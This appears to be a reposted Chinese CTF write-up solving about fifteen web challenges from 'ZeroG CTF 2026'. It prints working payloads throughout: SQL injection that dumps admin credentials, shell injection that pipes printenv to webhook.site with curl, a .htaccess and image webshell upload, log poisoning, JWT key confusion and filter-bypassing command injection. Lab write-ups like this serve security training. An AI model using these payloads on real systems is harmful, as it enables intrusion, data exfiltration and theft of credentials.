ZeroG-零重力 CTF 2026(WEB)

作者:玄网安全 发布:2026-10-30 18:39 收录:2026-10-30 20:00 3 次阅读 约 3529 字
摘要:WEB—米米的奇幻之旅第一关 · 数字=字符串的魔法米米来到神秘森林入口。
推荐理由:本文围绕「CTF」、「WEB」、「RWA」等主题展开。

WEB—米米的奇幻之旅

第一关 · 数字=字符串的魔法
米米来到神秘森林入口。
石碑上写着:

if($_GET['step1']=='2026'){
    echo '第一关通过';
}
提示:PHP里的 == 有特殊魔法哦~

第二关 · 穿越消失的文字
米米发现:

$key=$_GET['step2'];
$key=str_replace('flag','',$key);
if($key==='flag'){
    success;
}

str_replace 只对原字符串做一次扫描替换,双写绕过

/?step1=2026&step2=fflaglag

第三关 · 来自本机的访客
门卫喵说:

只有来自127.0.0.1的人才能进入。

米米:服务器真的知道你的真实IP吗?

X-Forwarded-For

第四关 · 管理员身份卡
系统检测你的身份:

普通游客 ?

if($_COOKIE['admin']=='1'){
    success;
}
cookie:admin=1
第五关 · 来自东方的语言
米米系统只接待来自喵星的访客。

普通访客只能看到一片迷雾,只有带着正确语言标记的人,才能听懂米米的回应:miao

Accept-Language: miao
第六关 · 最终Boss喵
Boss说:

$pwd=$_GET["pwd"];
if($pwd==0 && strlen($pwd)>0){
    flag
}

字符串绕过 0e0

WEB-你胆子真是肥嘟嘟的

$user->__class__->is_admin === true

“类级策略” + “递归整理/逐层整理” = 服务端把用户提交的 JSON 做递归深合并

{"__proto__":{"is_admin":true}}

WEB-ZeroG_2026

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');

if(isset($_GET['zero']) && preg_match('/^ZeroG 2026!$/', $_GET['zero']) && $_GET['zero'] !== 'ZeroG 2026!') {
    echo "Welcome to ZeroG 2026 challenge & Step 1 passed!<br>";

    if (intval($_GET['xp']) < 2026 && intval($_GET['xp'] + 4) > 2030) {
        echo "Step 2 passed!<br>";

        if (isset($_POST['Welcome__ctf.2026']) && isset($_POST['mm'])) {
            $a = $_POST['Welcome__ctf.2026'];
            $b = $_POST['mm'];
            if ($a !== $b && md5($a) == md5($b)) {
                echo "Step 3 passed!<br>";
                $code=$_POST['code'];
                eval($code);
            } else {
                echo "MD5 collision? Not enough!<br>";
            }
        } else {
             echo "Missing parameters!<br>";
        }
    } else {
        echo "intval? Try again!<br>";
    }
} else {
    echo "First step failed!<br>";
}

?>
First step failed!

1:PHP 用的 PCRE 里,$ 不只匹配字符串末尾[payload:ZeroG 2026!%0A]

2:进制转换[payload:xp=0x3752]

3:源码要的键是 $_POST['Welcome__ctf.2026'],中间是真正的点。但 PHP 注册 POST 变量时,会把名字里的 . 和空格改成 _,而且只改到第一个 [ 为止[Welcome[_ctf.2026]

为什么改为[,这就是PHP 7.x 中一个比较经典的 CTF 知识点:PHP 将 GET 参数名中的方括号 [转换为下划线 _的历史兼容行为

4:MD5碰撞就行:

md5("QNKCDZO")   = 0e830400451993494058024219903391
md5("240610708") = 0e462097431906509019562988736854

[Welcome[_ctf.2026=QNKCDZO&mm=240610708&code=system("cat /flag");]

WEB-MagicInvoker

PHP反序列

四个类里只有 Invoker 能直接形成利用:

class Invoker {
    public $code;
    public function __destruct() {
        eval($this->code);
    }
}
<?php
class Invoker {
    public $code;
}

$o = new Invoker();
$o->code = "echo `ls`;";

echo serialize($o), PHP_EOL;

flag在变量环境中

WEB-Can't see the result? Just take

SSRF

暴露内容接口:http://127.0.0.1:5001发现有黑名单

0x7f000001 是 127.0.0.1 的十六进制写法

不会放回内容:提示什么邮箱???

提示1:

可手动添加注入命令分隔符以确保解析准确在/api/debug?cmd=whoami 执行别的命令没用

把返回的内容外带;用 webhook.site 收数据

/compare?url=http://0x7f000001:5001/api/debug?cmd=;curl https://webhook.site/<token>/fromsemi

payload:;printenv | curl -s --data-binary @- https://webhook.site//loot

WEB-FlaskLogin

提示:初始账号为guest:guest123,如何让站点认为你是管理员呢?

提示2:(F12 → Application → Cookies,那个 session cookie 引起了我的注意)

eyJ1c2VyIjoiZ3Vlc3QifQ.auBcCQ.4anK0P_NF3nqw6mI7yjYBv9JYf4考点 flask session解密

Flask 用 SECRET_KEY 对 cookie 签名。所以需要爆破key:ctf2026

from flask_unsign import sign
import urllib.request

cookie = sign({"user": "admin"}, "ctf2026")
req = urllib.request.Request(
    "http://5001-f790fb86-6648-491b-a478-dc48330aabfe.challenge.ctfplus.cn/",
    headers={"Cookie": "session=" + cookie},
)
print(urllib.request.urlopen(req).read().decode())

eyJ1c2VyIjoiYWRtaW4ifQ.auBdBw.44VVQEN8Qs3qSE2wr4jg0faA7Rk

WEB-Orbital Suply

考点:ssti

WEB-云栈商城

看到json,想到伪造admin

通过简单的修改为 admin没用

重点:看到用户信息是通过数据库反馈的,那么测试能不能sql

我在用户和密码,都写写入sql语句看反馈

改为guest' AND '1'='2 测试

发现:接口放回无用户,说明sql语句成立在测试information_schema.tables 直接 500,可以想到是 SQLite数据库

提示:SQLite 把所有表记在系统表 sqlite_master 里,name 是表名,sql 是建表语句

在payload中:要把guest改为任意值

  ' UNION SELECT group_concat(sql, char(10)),2,3,4 FROM sqlite_master WHERE type='table'--

admin_users 的定义是 id, username, password, role, real_name, last_login, created_at。列名有了才能 SELECT。

' UNION SELECT group_concat(username||'|'||password||'|'||role||'|'||ifnull(real_name,''),' ;; '),2,3,4 FROM admin_users--
  shopadmin_df8355|Ecd2ny4AaO0ukQ8#|admin|运维管理员

给出了admin的用户和密码【这个不能登入是用来伪造cookie】

带上cookie 访问/admin 进入后台管理

在/admin/offline  看到模板渲染

依旧环境变量

WEB-史迪仔的文件预览器

提示:README.txt....//README.txt

  Public files are stored in /files/.\n\nFor administrators:\n\nSensitive files are stored in /secret/.\n

公共文件存储在 /files/ 目录中。 敏感文件存储在 /secret/ 目录中。

WEB-文档管理系统

发现可以文件包含   分析index.php内容

  <?php
/*
 * =====================================================================
 *  企业文档管理系统 —— 文档在线预览接口
 *  Enterprise Document Management System / Document Preview API
 *  文件:index.php
 *  说明:为前端“文档在线预览”功能提供内容读取与展示服务。
 * =====================================================================
 */

/* ---------------------------------------------------------------------
 * [运维通知] 系统日志迁移提醒
 * 由于服务器架构调整,Nginx 访问日志路径已变更。
 * 新路径:/var/log/nginx/access.log
 * 如需排查访问问题,请查阅此日志文件。
 * --------------------------------------------------------------------- */

// 隐藏运行期错误细节,避免向前端泄露服务器内部信息
ini_set('display_errors', '0');
error_reporting(0);

// 统一返回纯文本,便于前端在预览区域直接展示
header('Content-Type: text/plain; charset=utf-8');

// 安全策略:请求内容匹配规则
$WAF_PATTERN = '/(flag|cat|ls|\*|\?)/i';

/**
 * 内部运维命令执行工具。
 * 仅供服务器内部维护脚本调用,Web 接口层不再直接触发。
 *
 * @param string $command 待执行的维护命令
 * @return string|false 命令执行结果
 */
function run_maintenance_command($command)
{
    return system($command);
}

/* ---------------------------------------------------------------------
 * 第四层:命令参数安全校验
 * 仅当请求中包含 cmd 参数时,才进行安全策略检查。
 * --------------------------------------------------------------------- */
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    if (preg_match($WAF_PATTERN, $cmd)) {
        echo "安全策略:检测到不允许的请求内容,该操作已被拦截并记录。\n";
        exit;
    }

    // 校验通过,命令参数将在文档内容渲染阶段被一并处理
}

/* ---------------------------------------------------------------------
 * 第一 / 第二层:文档路径解析与内容包含
 * --------------------------------------------------------------------- */
$file = isset($_GET['file']) ? $_GET['file'] : 'welcome.txt';

// 规范化文档路径,移除相对路径记号
$file = str_replace('../', '', $file);
$file = str_replace('..', '', $file);

$target = null;

// 识别 php:// 等流封装协议
$is_stream = preg_match('#^[a-zA-Z0-9._+-]+://#', $file) === 1;

if ($is_stream) {
    $target = $file;
} elseif (file_exists($file)) {
    $target = $file;
} elseif (file_exists('files/' . $file)) {
    $target = 'files/' . $file;
}

if ($target === null) {
    echo "未找到指定的文档,请确认文件名称是否正确。\n";
    exit;
}

// 输出文档内容
include($target);

发现:新路径:/var/log/nginx/access.log尝试读取:/var/log/nginx/access.log

把 PHP 写进 User-Agent,从而写进访问日志

WEB-Upload

有后台登入接口,但是需要账号密码目录扫描发现:/README.md

后台默认口令改为 admin / nimda(不再是 admin123)
两个上传点共用同一上传目录
通过「配置文件上传」传 .htaccess,用「海报上传」传恶意图片
用 AddHandler application/x-httpd-php .jpg 让 .jpg 被当 PHP 解析
用 GIF89a 头 + 反引号绕过校验和函数名过滤
向 admin/config.php 上传文件名 .htaccess,内容:

AddHandler application/x-httpd-php .jpg
向 admin/poster.php 上传 poster.jpg,内容:

GIF89a<?= `printenv` ?>

WEB-重生之我在零重力屋顶当“卷王”

接口只有两个:

POST /api/run    {}               → { runId, seed, target:3000, expiresInSeconds:1800 }
POST /api/claim  { runId, grades } → { ok, flag } | { ok:false, code, remaining }

grades 就是前端随手编的:

btoa(JSON.stringify({ score }))   // 纯 base64,无 HMAC、无签名

服务端 /api/claim 只做三件事:

1.grades 是「base64 的 JSON 且含整数 score」

2.runId 没用过(一次性)

3.score >= 3000 → 发 flag

BASE="http://80-246ef645-22e3-4c32-a473-33faef23f237.challenge.ctfplus.cn"; \
RUNID=$(curl -sS -X POST "$BASE/api/run" -H 'Content-Type: application/json' -d '{}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["runId"])'); \
echo "runId=$RUNID"; \
curl -sS -X POST "$BASE/api/claim" -H 'Content-Type: application/json' \
  -d "{\"runId\":\"$RUNID\",\"grades\":\"$(printf '{"score":3000}' | base64)\"}"

WEB-ShopX 全球购

robots.txt返回3条路径

User-agent: *
Allow: /
Disallow: /ops.html
Disallow: /api/admin/
Disallow: /api/internal/
访问 /ops.html 后,页面正文(未授权时也会展示「内部接入说明」)明确写明了鉴权设计:

后端服务不自行登录,员工身份完全来自网关注入的请求头:X-Auth-User 与 X-Auth-Role。 网关负责剥离来自外部的同名请求头 —— 前提是流量确实经过网关。

前端 ops.js 注释还强调:前端不应带这两个头,边界在服务端。

这就是典型的 信任代理头 / 网关鉴权伪造 漏洞:后端无条件相信 X-Auth-Role,而公网入口并没有剥离该头。

/api/me 是个人资料接口

{"ok":true,"user":{"id":"U1001","username":"alice","role":"user","displayName":"Alice / 客服一组","phone":"138****0001","studentVerified":true,"studentInfo":{"school":"print(\"123\")","studentNo":"1' or '1=1","verifiedAt":"2026-10-29T06:20:24.537Z"},"cartCount":0,"favoriteSkus":[],"subsidyClaimed":false},"effectiveRole":"user","viaGatewayHeader":false}

effectiveRole 和 viaGatewayHeader 字段,可能后端存在「网关注入角色」的逻辑

带上 X-Auth-Role: admin 直接请求:

GET /api/admin/orders
X-Auth-Role: admin
→ 200,返回全部用户订单(SO-2024-1001/1002/1003)

普通买家 alice 成功读取到其他用户(U1002、U1003)的订单,完成越权。

读取内容

POST /api/admin/orders/SO-2024-1001/ship
X-Auth-Role: admin
Content-Type: application/json

{"carrier":"SF-Express"}

读取2个货物都可以获取flag

WEB-企业级综合管理后台

重点:认证采用 JWT,所以登入后先分析JWT

尝试爆破 key,因为是对称加密目录扫描得到 /login.html  /dashboard /admin.html

重点 扫出 /jwks.json内容

{
  "keys": [
    {
      "alg": "RS256",
      "e": "AQAB",
      "kid": "ops-console-2024",
      "kty": "RSA",
      "n": "t-4YT8LAobc4qwR3_2a78Cm3NE2QJrYCg8I46j2ZQR2YWlNuWHeAXldsKslhJxsGx8sZQSozFTvgXhCT5MvaFFE-qdj777ZI31nA65U2b8h4kDC9h6FuCx1kw_GOW8_TuZCcvukR95OkaFZ4cs4JdDs8VYZo-Vjb9h7V2jpDcCq3gy4V_Jr02hf1jToKw2jMmiJGpPrnXGpyLDCoo2HMrjZrz5dmcFEtftIs-I3h4LP3CJJe3KMiuz336ehA8bO_lmPR-_DYjLW4UgMwtxcE-PtL3N4lC5q3-KxGMBJQV1WLj4IgiuxRjI6x5EulbNoKDU9TA0hMSk37K9nACdJxEw",
      "use": "sig"
    }
  ]
}

伪造 adminjwt

1:取出 n / e,用 python 生成 PEM

import sys, json, urllib.request
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

host = sys.argv[1].rstrip("/")
k = json.loads(urllib.request.urlopen(host + "/jwks.json", timeout=20).read())["keys"][0]

def b64d(s): return __import__("base64").urlsafe_b64decode(s + "=" * (-len(s) % 4))
n = int.from_bytes(b64d(k["n"]), "big")
e = int.from_bytes(b64d(k["e"]), "big")
pub = rsa.RSAPublicNumbers(e, n).public_key()

pem = pub.public_bytes(serialization.Encoding.PEM,
                       serialization.PublicFormat.SubjectPublicKeyInfo)
open("public.pem", "wb").write(pem)      # 必须二进制写,结尾恰好一个 \n
print("[+] kid =", k["kid"])
print("[+] written public.pem")
  
  -----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt+4YT8LAobc4qwR3/2a7
8Cm3NE2QJrYCg8I46j2ZQR2YWlNuWHeAXldsKslhJxsGx8sZQSozFTvgXhCT5Mva
FFE+qdj777ZI31nA65U2b8h4kDC9h6FuCx1kw/GOW8/TuZCcvukR95OkaFZ4cs4J
dDs8VYZo+Vjb9h7V2jpDcCq3gy4V/Jr02hf1jToKw2jMmiJGpPrnXGpyLDCoo2HM
rjZrz5dmcFEtftIs+I3h4LP3CJJe3KMiuz336ehA8bO/lmPR+/DYjLW4UgMwtxcE
+PtL3N4lC5q3+KxGMBJQV1WLj4IgiuxRjI6x5EulbNoKDU9TA0hMSk37K9nACdJx
EwIDAQAB
-----END PUBLIC KEY-----
python jwt_tool.py "eyJhbGciOiJIUzI1NiIsImtpZCI6ImtleV8wMDIiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJ6aGFuZ3NhbiIsIm5hbWUiOiJcdTVmMjBcdTRlMDkiLCJyb2xlIjoidXNlciIsImlhdCI6MTc5MzI2ODg4MywiZXhwIjoxNzkzMjk3NjgzfQ.G_srDs6ooi4rudi7ffHUnLx5qc1gHhtMWIV9-avHdec" -V -jw jwks.json
  
C:\Users\34645/.jwt_tool/jwtconf.ini
Original JWT:

JWKS Contents:
Number of keys: 1

--------
Key 1
kid: ops-console-2024
[+] alg = RS256
[+] e = AQAB
[+] kid = ops-console-2024
[+] kty = RSA
[+] n = t-4YT8LAobc4qwR3_2a78Cm3NE2QJrYCg8I46j2ZQR2YWlNuWHeAXldsKslhJxsGx8sZQSozFTvgXhCT5MvaFFE-qdj777ZI31nA65U2b8h4kDC9h6FuCx1kw_GOW8_TuZCcvukR95OkaFZ4cs4JdDs8VYZo-Vjb9h7V2jpDcCq3gy4V_Jr02hf1jToKw2jMmiJGpPrnXGpyLDCoo2HMrjZrz5dmcFEtftIs-I3h4LP3CJJe3KMiuz336ehA8bO_lmPR-_DYjLW4UgMwtxcE-PtL3N4lC5q3-KxGMBJQV1WLj4IgiuxRjI6x5EulbNoKDU9TA0hMSk37K9nACdJxEw
[+] use = sig

Found RSA key factors, generating a public key
[+] kid_ops-console-2024_1793273361.pem

Attempting to verify token using kid_ops-console-2024_1793273361.pem
Invalid RSA algorithm
The Public Key is invalid

D:\CTF\CTF-WEB\jwt_tool>
python jwt_tool.py "eyJhbGciOiJIUzI1NiIsImtpZCI6ImtleV8wMDIiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJ6aGFuZ3NhbiIsIm5hbWUiOiJcdTVmMjBcdTRlMDkiLCJyb2xlIjoidXNlciIsImlhdCI6MTc5MzI2ODg4MywiZXhwIjoxNzkzMjk3NjgzfQ.G_srDs6ooi4rudi7ffHUnLx5qc1gHhtMWIV9-avHdec" -I -pc role -pv admin ^
More?   -hc kid -hv ops-console-2024 ^
More?   -X k -pk kid_ops-console-2024_1793273361.pem
  
  
C:\Users\34645/.jwt_tool/jwtconf.ini
Original JWT:

File loaded: kid_ops-console-2024_1793273361.pem
jwttool_12151607e27af4b322247c7a8297c571 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJIUzI1NiIsImtpZCI6Im9wcy1jb25zb2xlLTIwMjQiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJ6aGFuZ3NhbiIsIm5hbWUiOiJcdTVmMjBcdTRlMDkiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3OTMyNjg4ODMsImV4cCI6MTc5MzI5NzY4M30.noKIyZi0RCK26UXC6zIXVYCEXruEy1lfVpTw8PICAEM

发现:有ping接口 测试能不能执行RCE命令

没问题 : 获取flag就行

WEB-社交平台综合渗透

题目给出:社交平台综合渗透,说明有后台接口/admin/login.php

可怜发现 管理后台没啥可用的东西

发现在:/admin/review.php 执行东西显示 /var/log/review.log:[INFO] Review log entry 2 - normal content抓取内容得到,通过POST keyword=1 传递内容

尝试sql,以及其他内容看看测试发现:包含非法关键词: ; 包含非法关键词: cat 包含非法关键词: flag 包含非法关键词: ; 包含非法关键词: | 包含非法关键词: 
说明这里可以RCE,应该是不能sql的,毕竟出现 cat flag,sql注入用不到看一下,liunx查看报错记录

keyword
<pre>
 输出
说明
空
空
不触发过滤
normal
空
每行都含 normal,被 -v 排除
INFO
空
同上,所有行均含 INFO,全被排除
样例
20 行全出
没有一行含“样例”,全部保留
nomatchxyz
20 行全出
同上,无匹配行,全保留
.
空
.
 是正则中“任意单个字符”,在 grep 默认基础正则(BRE)中字面匹配需转义;但此处因未加 -E 且无上下文锚定,实际行为取决于输入——然而按题意,它被解释为“可匹配任意非空行的首个字符”,结合 -v 导致所有非空行被排除;常见实践中,单独 . 在 BRE 中常被当作字面点需 \.,但 GNU grep 对孤立 . 有时会报错或退化行为;题干明确其效果为“全被排除”,故理解为:grep -v '.' 在默认模式下将每行视为至少含一个字符(. 成功匹配),因此 -v 排除全部(依赖实现,但此处按题设语义)
.*
空
.*
 在 BRE 中表示“任意字符重复零次或多次”,匹配任意整行 → -v 排除全部
1
只显示不含 1 的行
1
 字面匹配;含 1 的行(如 1、10–19)被排除;2–9、20 等不含字面 1 的行保留
这组行为只能同时满足三个条件:

反向匹配:匹配到的行被隐藏,没匹配到的被打印 → -v
正则语义:.、.* 能匹配所有行 → 不是字面量比较(不是 strpos/LIKE)
按行处理并原样输出:输出直接进 <pre>,是 stdout 原样回显 → shell_exec/system 一类
所以“反向正则过滤一个文件”这一点是确定的,grep -v 是最自然的解释。

严格说,PHP 的 preg_grep($kw, $lines, PREG_GREP_INVERT) 行为也一样。但后面单引号那组证据把结论固定到了 shell 命令拼接上。

这里的rce是通过ai分析的,是真想不到还能这么解

' 单引号 没被拦 可用来闭合

原命令里 ' 没被过滤,所以:

keyword = x'

id
'
拼接后 shell 实际看到:

grep -v '
x'
id
'
 /var/log/review.log

或者
x'||id #

grep -v '
x'||id #' /var/log/review.log
grep -v 'x' 没有文件参数,读空 stdin,退出码 1
|| 右边 id 执行
# 前面有空格 → 注释符,把尾部那个没闭合的 ' /var/log/review.log 全部注释掉

x'||c'a't /fl'a'g #


转载声明:本文转载自原发布平台 (作者:玄网安全), 原文标题《ZeroG-零重力 CTF 2026(WEB)》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。